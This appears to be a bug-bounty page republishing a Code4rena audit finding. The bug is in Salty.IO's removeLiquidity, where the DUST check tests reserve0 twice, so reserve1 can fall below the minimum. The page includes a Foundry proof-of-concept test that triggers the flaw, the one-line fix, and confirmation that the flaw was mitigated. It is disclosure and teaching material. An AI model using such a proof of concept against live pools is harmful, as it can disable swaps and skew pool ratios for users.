Remove Liquidity has missing reserve1 DUST check, which can make reserve1 to be less than DUST
The removeLiquidity function checked reserve0 twice instead of checking both reserve0 and reserve1 against the DUST threshold. An attacker could remove liquidity such that reserve1 falls below DUST, causing swaps and related functions to revert and potentially manipulating the pool ratio.
neocrao Follow with jasonxiale, J4X and 32 others
Originally disclosed on Code4rena
Submitted by neocrao, also found by jasonxiale, J4X, 0x11singh99, okolicodes, HALITUS, memforvik, Kalyan-Singh, The-Seraphs, wangxx2026, zhaojohnson, 00xSEV, juancito, cu5t0mpeo, parrotAudits0, AgileJune, agadzhalov, aman, Drynooo, ewah, RootKit0xCE, MSaptarshi, Imp, 0xRobocop, 0xAlix2, erosjohn, jesjupyter, 0x3b, rudolph, 0xanmol, ayden, KHOROAMU, 0xSmartContractSamurai, t0x1c, and klau5
The function Pools::removeLiquidity() checks that the reserve0 and reserve1 amounts for a pool are always above or at DUST amount. If after the liquidity is removed, and the reserve0 or reserve1 goes below DUST level, then the transaction should revert.
But, this check is implemented incorrectly. The code that performs this check is as below in the code:
require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");
If you notice, the reserve0 is checked twice, instead of the checks being for each reserve0 and reserve1.
Impact
The documentation states the following reason for the DUST check:
// Make sure that removing liquidity doesn't drive either of the reserves below DUST.
// This is to ensure that ratios remain relatively constant even after a maximum withdrawal.
So, if the reserve1 goes below the DUST amount, then it can imbalance the ratios. Also, once a pool has been established with the reserves, functions like and related to swap() rely on the amounts to be above the DUST amounts. If either of the reserves go below the DUST levels, then these functions will start to revert.
Proof of concept
Use the below test in the file: src/pools/tests/Pools.t.sol
function testNeoCraoReserve1LessThanDust() public {
// Setup Tokens
TestERC20[] memory testTokens = new TestERC20[](2);
vm.startPrank(DEPLOYER);
for (uint256 i = 0; i < 2; i++) {
testTokens[i] = new TestERC20("TEST", 18);
}
(, bool flipped) = PoolUtils._poolIDAndFlipped(testTokens[0], testTokens[1]);
if (flipped) {
(testTokens[1], testTokens[0]) = (testTokens[0], testTokens[1]);
}
for (uint256 i = 0; i < 2; i++) {
testTokens[i].approve(address(pools), type(uint256).max);
testTokens[i].approve(
address(collateralAndLiquidity),
type(uint256).max
);
testTokens[i].transfer(address(this), 100000 ether);
testTokens[i].transfer(address(dao), 100000 ether);
testTokens[i].transfer(address(collateralAndLiquidity), 100000 ether);
}
vm.stopPrank();
vm.prank(address(dao));
poolsConfig.whitelistPool(pools, testTokens[0], testTokens[1]);
vm.prank(DEPLOYER);
collateralAndLiquidity.depositLiquidityAndIncreaseShare(
testTokens[0],
testTokens[1],
500 ether,
100 ether,
0,
block.timestamp,
false
);
for (uint256 i = 0; i < 2; i++) {
testTokens[i].approve(address(pools), type(uint256).max);
testTokens[i].approve(
address(collateralAndLiquidity),
type(uint256).max
);
}
vm.startPrank(address(collateralAndLiquidity));
testTokens[0].approve(address(pools), type(uint256).max);
testTokens[1].approve(address(pools), type(uint256).max);
// POC
vm.startPrank(address(collateralAndLiquidity));
uint256 totalShares = collateralAndLiquidity.totalShares(
PoolUtils._poolID(testTokens[0], testTokens[1])
);
pools.removeLiquidity(
testTokens[0],
testTokens[1],
599999999999999999406,
1 ether,
1 ether,
totalShares
);
(, uint256 reserves1Final) = pools.getPoolReserves(
testTokens[0],
testTokens[1]
);
assertLt(reserves1Final, PoolUtils.DUST);
}
Severity Justification
This is Medium severity, based on the Code4rena Severity Categorization: https://docs.code4rena.com/awarding/judging-criteria/severity-categorization
2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.
Recommended Mitigation Steps
The check should be updated to check for reserve1 as well.
- require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");
+ require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve1 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");
Note: this is a typo following a fix of the Trail Of Bits audit. It has a large number of duplicates, with the main impact being DoS of the swaps and related functionalities and manipulating the initial ratio. I haven’t found a report proving that manipulating the initial ratio is of high severity except these 2 that copy-pasted ToB’s report: https://github.com/code-423n4/2024-01-salty-findings/issues/197 and https://github.com/code-423n4/2024-01-salty-findings/issues/592.
othernet-global (Salty.IO) confirmed and commented:
Fixes reserves DUST check: https://github.com/othernet-global/salty-io/commit/b01f6e5cb360e89f9e4cdae41d609ea747bcaa86
Status: Mitigation confirmed. Full details in reports from t0x1c, 0xpiken, and zzebra83.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a typo in the require statement where reserve0 was used twice instead of checking reserve1.
Impact
If reserve1 falls below DUST, swaps and related functions may revert, causing a denial of service, and the pool ratio could be manipulated.
What the attacker needed
A whitelisted pool; ability to add and remove liquidity
The fix
The check was fixed to verify both reserve0 and reserve1 against DUST.
How it was found
- Set up two test tokens and whitelist a pool for them.
- Deposit liquidity into the pool via collateralAndLiquidity.
- Call removeLiquidity with parameters that leave reserve1 below DUST.
- Check that the final reserve1 is less than DUST.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In a liquidity pool, two tokens are kept in balance. The code is supposed to stop anyone from withdrawing so much that either token's amount falls below a tiny minimum called DUST. Because of a copy-paste mistake, it only checked one token twice, so the other token could drop below the minimum. That can break swaps and let someone skew the pool's price ratio.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.